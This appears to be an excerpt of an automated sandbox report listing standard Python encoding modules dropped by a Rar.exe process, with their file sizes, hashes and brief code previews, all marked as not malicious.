Preview:	""" Python Character Mapping Codec iso8859_11 generated from 'MAPPINGS/ISO8859/8859-11.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-11',.. enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_13.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13578
Entropy (8bit):	4.614312894970411
Encrypted:	false
SSDEEP:	192:oHhsuOTDvRNUrXPLouhIAs2+ijLdyGeyd:1TXuhIAlQGeG
MD5:	89E3297E11801E02B40A23B6180DCD25
SHA1:	EB58BC97EEE69D9DB6670CD439C684057B7A3937
SHA-256:	BEE45734B991C04E76C2ABA2BA8C7208F6BA743324D815DE95965945643D8084
SHA-512:	F8AF2186EC0C3CE5B391999280086ADFD3882425269ECFBCA4D70A33907CE42A1F8F6949D9BE2937FB92300A8235667611DECD358C7E0F8273858B72ADF56CB3
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_13 generated from 'MAPPINGS/ISO8859/8859-13.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-13',.. enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_14.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13959
Entropy (8bit):	4.584053979506915
Encrypted:	false
SSDEEP:	192:mHhsuOTDvR0UrXPLouhIAs2+ijLXwwTdW:DTKuhIAlvwkW
MD5:	445A9BD974736A30077C9BF14106E805
SHA1:	85E673B1E179E5886765F6051ED2F9235063F2F8
SHA-256:	C498772FADF244077B650E468E7922AE1C0DB74ED6984A2A81BC0E088631F0F9
SHA-512:	0D8D322C1DCCB5F2169F402CB82875A10D725F65DFBDE6E70515839CFC8451DD58DD5F938AED1DE25A2C1E74ACEADC7E07889F81C98808ECDE2F6F24D5C73D89
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_14 generated from 'MAPPINGS/ISO8859/8859-14.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-14',.. enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_15.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13519
Entropy (8bit):	4.566581461339518
Encrypted:	false
SSDEEP:	192:QHhsuOTDvRnUrXPLouhIAs2+ijLhFsVN6ATdo56G:NTNuhIAl5Fsto
MD5:	0D2C4FB1B7CCD0D085108F651A041593
SHA1:	947AF7C07B789EB743031C3C108BB2FDB882F673
SHA-256:	D703D64AE2D23602E38C2F387EEFFD5D4E5792209BC3CE64928FEE2F99DCD906
SHA-512:	3B24DE05424FBEFC09C8B3743DEA37C4AFEDE5C68A96D0721622D28A6AD42B47D2BB28011F39E6B89AD14B893DB545572537EC741090B880414C26CDF8845EDA
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_15 generated from 'MAPPINGS/ISO8859/8859-15.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-15',.. enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_16.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13864
Entropy (8bit):	4.596808715275571
Encrypted:	false
SSDEEP:	192:fiHhsuOTDvRf+UrXPLouhIAs2+ijLOSVCXKm:fvT4uhIAlznm
MD5:	6ED16EE5F05DE02F25349CEBA19AFF51
SHA1:	B036FA26C737669AB311D450BE274CE57845EB9C
SHA-256:	F49FFF248546D510F7ECB5FC2C25C9B68925A2F483B938035CD7A54957A560A2
SHA-512:	18FFEC059B44077627A86139D2861509E28DC8564FC9B5F822C79E21E8A43043780469221B66743D5BFEF84552C3F787E25B721B87B2422A0AFCBCEC84953AE8
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_16 generated from 'MAPPINGS/ISO8859/8859-16.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-16',.. enc

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_2.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13711
Entropy (8bit):	4.594295226318269
Encrypted:	false
SSDEEP:	192:eHhsuOTDvR1UrXPLouhIAs2+ijLRG3RKjV:rTLuhIAlw4V
MD5:	62DC1A7320D0B8FB3FB535E0F2055446
SHA1:	02D0C9E5D224A0C6036C27C842EC54E3962681C3
SHA-256:	D9102AE464030E5A0F4D1712435AC3BDB2FA98ECAA689B5965442EF92B13DFEC
SHA-512:	29D58449D2B6216C9BB40E151E0133FC370D104C07C6960581B914495C8940B2B7C7B85E70514EB0D37313854A8EC2BDC3163406881B4521262CEBF26A385EAE
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_2 generated from 'MAPPINGS/ISO8859/8859-2.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-2',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_3.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13396
Entropy (8bit):	4.597193229637006
Encrypted:	false
SSDEEP:	192:uHhsuOTDvRCUrXPLouhIAs2+ijLA/SI7JbrO:7TIuhIAltIBC
MD5:	79D790F88E256CC8C968456344519BAB
SHA1:	6EA401BBD3082D55BA2235D768A80BEA52E4759A
SHA-256:	E372E25B32E8657DB9B57B3C9B53D68B67F3FC6651C53B071DCAC6CAB6662FCA
SHA-512:	EDB436E11FE172A73DD899E163F3D05D1DB6214755FCCCD7311A1923EF5EE8F7530D353D1EEB9BE8B9E435F250509CD114CE540BC4F928B32000A64E05EB4E9C
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_3 generated from 'MAPPINGS/ISO8859/8859-3.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-3',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_4.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13683
Entropy (8bit):	4.589930243244332
Encrypted:	false
SSDEEP:	192:yHhsuOTDvRvUrXPLouhIAs2+ijL4Eo6z+:/T5uhIAlhb+
MD5:	4C0E2E5478CFC6B2A8134D5C5D3C76ED
SHA1:	73749BA58832D716683A2F76354BB032A3123E78
SHA-256:	164C26A1A13DC22A21A7F80E5C0176EA9223111B759D2ED1CD8B3C55AAB63BBD
SHA-512:	C469837BC68A419D91FD8EB0D52A2164D557C3EEBDA6E7F2B1040D18DFC6F94BDA827CFAC0EF44BF8F19DDE6B732A9AF3A48214EE0AFB143600D3D77E98F1C59
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_4 generated from 'MAPPINGS/ISO8859/8859-4.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-4',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_5.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13322
Entropy (8bit):	4.619153100357495
Encrypted:	false
SSDEEP:	192:iHhsuOTDvRcUrXPLouhIAs2+ijL762Y+n:vT2uhIAlT62n
MD5:	70CB514B7CD7B9A494A55CB257553431
SHA1:	7F689F78B422164FDA39F897B45AAE7C8CCFE8DB
SHA-256:	4622BB45469E23C852698A6B784B5E28AFD8072FDDB8E319C02D39B138CB9DBE
SHA-512:	CCCA6974D74B32643D84198A626C28A6CC777B3D9853C90FDE3F61D54F8A41ED3C423CE2795402E6157A1529985C91E56B1D2C944EF3222E54CA8D2A232C0D6D
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_5 generated from 'MAPPINGS/ISO8859/8859-5.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-5',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_6.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11140
Entropy (8bit):	4.629970059245577
Encrypted:	false
SSDEEP:	192:+HhsuOTDvRhUrXPLouhIAs2+ijLeCdxeiu5iEp30yfZn:LTnuhIAlUH
MD5:	A69D78A4C1AB4134DC5033FA45821AAE
SHA1:	C0B9008772067BF43B1A817780D6B86DFCD87EF8
SHA-256:	1543F9AD8DCC4AA912C5C901A5A216A4EA3DB62FB19197A0D90CCC0EE69B4538
SHA-512:	230E26A9366387FAE38340921C675D3AD3CD8580096824842FA9261EB1BBA391E399525425030854FAA9F84819E57F7F9F238426B809274A6D78676143AC9F3B
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_6 generated from 'MAPPINGS/ISO8859/8859-6.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-6',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_7.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13151
Entropy (8bit):	4.649031466938632
Encrypted:	false
SSDEEP:	192:+HhsuOTDvReUrXPLouhIAs2+ijLEARfO21XHHjfvK8uHZh:LTEuhIAl8AN11XO8Aj
MD5:	50BFFF8D67F78DF6B9941AD829159358
SHA1:	D766C9E1E2EA76FB3CA67793F36A3F45C1545132
SHA-256:	41FEB2BEC72E3F07C0D67F0E421FF8E51A8E1688AA20AF7C8A12CE0DDF464104
SHA-512:	00EEA3F1B69FA47E0DA4B7AC0E4AD0E8830A6A3E845B3D340A4ACB4DB0838D01423B4FFAD94863178ECAD72FA1053868CE506C5AF3C010C76A29D11F2BB992C5
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_7 generated from 'MAPPINGS/ISO8859/8859-7.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-7',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_8.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	11343
Entropy (8bit):	4.621650787612196
Encrypted:	false
SSDEEP:	192:aHhsuOTDvR7UrXPLouhIAs2+ijLUSj6ZZPHxvi:3TluhIAlcSv
MD5:	E873B80A7B474B64BA463354A5D1A39A
SHA1:	58682E0EF443927AC206F8C0B70FB2636DD1C2C2
SHA-256:	63D11B2592BDB036C8F4150EC1F968D1A6E01D22AF8D7DAF94F6C72E0A8FD752
SHA-512:	185EA3AD52F3CE519171B5CBBB5BF7071C009A800121F368CD06118F1A82D37BA2A5526118D6A8B1117C5C9AD31699BD657903CDA9C4A25D6BB7D192C643C717
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_8 generated from 'MAPPINGS/ISO8859/8859-8.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-8',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\iso8859_9.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13463
Entropy (8bit):	4.569353880954753
Encrypted:	false
SSDEEP:	192:KHhsuOTDvRIUrXPLouhIAs2+ijLMZt6B5TdjN:nTiuhIAlEZt69x
MD5:	CAD4BC52AF4F5E24614AC8857D21DC35
SHA1:	49BDA77039C166194660CAF30885E17951603F3E
SHA-256:	FD0CCFDE95FCFEBF48BA5ED5F697C4799C3303B853077F48FFEF2FD9EF1E30C8
SHA-512:	6CBDC2C1F97DB4A9A1BFD1D1601C55F946C82BB5AE2844DDECC98A1B760B7EB292EA393DFD2A1D45BA99906397861BF01E1C0C3430D8285B517724F06F19D10E
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec iso8859_9 generated from 'MAPPINGS/ISO8859/8859-9.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='iso8859-9',.. encode

C:\Users\Public\QExvbmVOb25l\Lib\encodings\johab.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1062
Entropy (8bit):	4.530496029691674
Encrypted:	false
SSDEEP:	24:nNqxOzSf/XokTZKyYydVM2VJjq2UIBlnjqvIiLxySrIiUmx5ASrIIKj92FcJxFpz:Nqyzqt62VJjRU8njOxLnrxLbrLK8+Jx/
MD5:	161F7EEDD0B4169D0A36DA2E7808EB7B
SHA1:	35D8869963DBB870A4B9DF3C974DE9A5CF5F4E41
SHA-256:	C83AA2098AB15FBAD7EB999C303B27350B0459EE9F6FC2B2BF4004D4285F9E8D
SHA-512:	5219805C9AF0799449BA650FE4108B450A20A3864AC5CD7ADA83A5C2429F9604025E8F1F296A461600E73372779838971AB91F150060761597D670B4AB9ED531
Malicious:	false
Reputation:	low
Preview:	#..# johab.py: Python Unicode Codec for JOHAB..#..# Written by Hye-Shik Chang <perky@FreeBSD.org>..#....import _codecs_kr, codecs..import _multibytecodec as mbc....codec = _codecs_kr.getcodec('johab')....class Codec(codecs.Codec):.. encode = codec.encode.. decode = codec.decode....class IncrementalEncoder(mbc.MultibyteIncrementalEncoder,.. codecs.IncrementalEncoder):.. codec = codec....class IncrementalDecoder(mbc.MultibyteIncrementalDecoder,.. codecs.IncrementalDecoder):.. codec = codec....class StreamReader(Codec, mbc.MultibyteStreamReader, codecs.StreamReader):.. codec = codec....class StreamWriter(Codec, mbc.MultibyteStreamWriter, codecs.StreamWriter):.. codec = codec....def getregentry():.. return codecs.CodecInfo(.. name='johab',.. encode=Codec().encode,.. decode=Codec().decode,.. incrementalencoder=IncrementalEncoder,.. incrementaldecoder=IncrementalDecoder,.. streamrea

C:\Users\Public\QExvbmVOb25l\Lib\encodings\koi8_r.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14086
Entropy (8bit):	4.696171438355166
Encrypted:	false
SSDEEP:	192:veHhsuOTDvRnUrXPLouhIAs2+i4bur6Zv8muyEdP:vrT5uhIAl/euxP
MD5:	75872A24381833D8B71D42A66523AA45
SHA1:	C4AC11C4903178821FE680C732462C02626C016B
SHA-256:	90A883B291D5F1E6DBB735413D51648C31580B1927500161C16624836D01E5EE
SHA-512:	A84BD3BDBC4BCBFE90B550CB4FFB6CDBEBBB4B1C3824A931CBA448E84C79D4D6B05D9D67C0718FA97F790B8C1071C775010058306BCEC2769D4E721808CED8FF
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec koi8_r generated from 'MAPPINGS/VENDORS/MISC/KOI8-R.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='koi8-r',.. encode=

C:\Users\Public\QExvbmVOb25l\Lib\encodings\koi8_t.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, Unicode text, UTF-8 text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	13501
Entropy (8bit):	4.664370116157909
Encrypted:	false
SSDEEP:	192:ahsuOTDvRNUrXPLouhIAs2+imIzDCYPfuyEdP:fTLuhIAl5jfuxP
MD5:	B2F96B9A1CF37B7C81BE8704D4E62EF9
SHA1:	AB37BF387BF19A833126952D139E41093DD217D9
SHA-256:	86D922A935AFDE1BD7C22CF8A9F23A237511C92C51509A80051DD2862A84D09F
SHA-512:	F139A2AAB199BB95905B6C020A6410D9FC1C67486BB8AF7796CE41BCC8CDE7AE034749F50728162BE836AE2D4ED74D4ED82282EE56517843C404412C72756ECE
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec koi8_t.."""..# http://ru.wikipedia.org/wiki/...-8..# http://www.opensource.apple.com/source/libiconv/libiconv-4/libiconv/tests/KOI8-T.TXT....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return c

C:\Users\Public\QExvbmVOb25l\Lib\encodings\koi8_u.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14069
Entropy (8bit):	4.689466302139651
Encrypted:	false
SSDEEP:	192:SHhsuOTDvR6UrXPLouhIAs2+i4bur6e9zuyEdP:fTIuhIAl/5uxP
MD5:	211B71B4C717939EDEDBFD33A9C726BE
SHA1:	64DEB95FD1A59EC03B09643BE2F2055A079151E4
SHA-256:	9F77F72F8A42A1BA97C7D53AFDB6F6A6D4E08707CAA4D4CD57D6C113156BB32B
SHA-512:	3CBACB39A0994C5285E5B0316B3816916D43C6EE607398022B7BF05430A9621416C2F28A848C2E90B47BE147DDFFB7CF03D5CE8C129BFE52247D6AA238FF5639
Malicious:	false
Reputation:	low
Preview:	""" Python Character Mapping Codec koi8_u generated from 'python-mappings/KOI8-U.TXT' with gencodec.py....."""#"....import codecs....### Codec APIs....class Codec(codecs.Codec):.... def encode(self,input,errors='strict'):.. return codecs.charmap_encode(input,errors,encoding_table).... def decode(self,input,errors='strict'):.. return codecs.charmap_decode(input,errors,decoding_table)....class IncrementalEncoder(codecs.IncrementalEncoder):.. def encode(self, input, final=False):.. return codecs.charmap_encode(input,self.errors,encoding_table)[0]....class IncrementalDecoder(codecs.IncrementalDecoder):.. def decode(self, input, final=False):.. return codecs.charmap_decode(input,self.errors,decoding_table)[0]....class StreamWriter(Codec,codecs.StreamWriter):.. pass....class StreamReader(Codec,codecs.StreamReader):.. pass....### encodings module API....def getregentry():.. return codecs.CodecInfo(.. name='koi8-u',.. encode=Codec(

C:\Users\Public\QExvbmVOb25l\Lib\encodings\kz1048.py

Download File

Process:	C:\Users\user\AppData\Local\Temp\kjxl4nml.r5k\Documents\Rar.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	14030
Entropy (8bit):	4.572243714560591
Encrypted:	false
SSDEEP:	192:Mn/GuINDBTXqJPnXEeXGyQCmEYcrj6CbwK+avSMcdgF:LNneXGy1lHwK+avSMNF
MD5:	F4729A1242BD140B732D4BEE6E137558
SHA1:	44EFA222BB2CA9ADD776C29A098F9F03FF03E515
SHA-256:	DA8BAC477F14620D8AA89EB6CB8963602E1C39724148369C88EF48C95D495011
SHA-512:	F5812E38B06620752A557FA70F207AA3298A2FEC7598107BCE749F5B1529A8CA92CAC5AD72E068F6F711C714868389861E93B25B484FA2AD13FC8B3A50EE797E
Malicious:	false
Reputation:	low
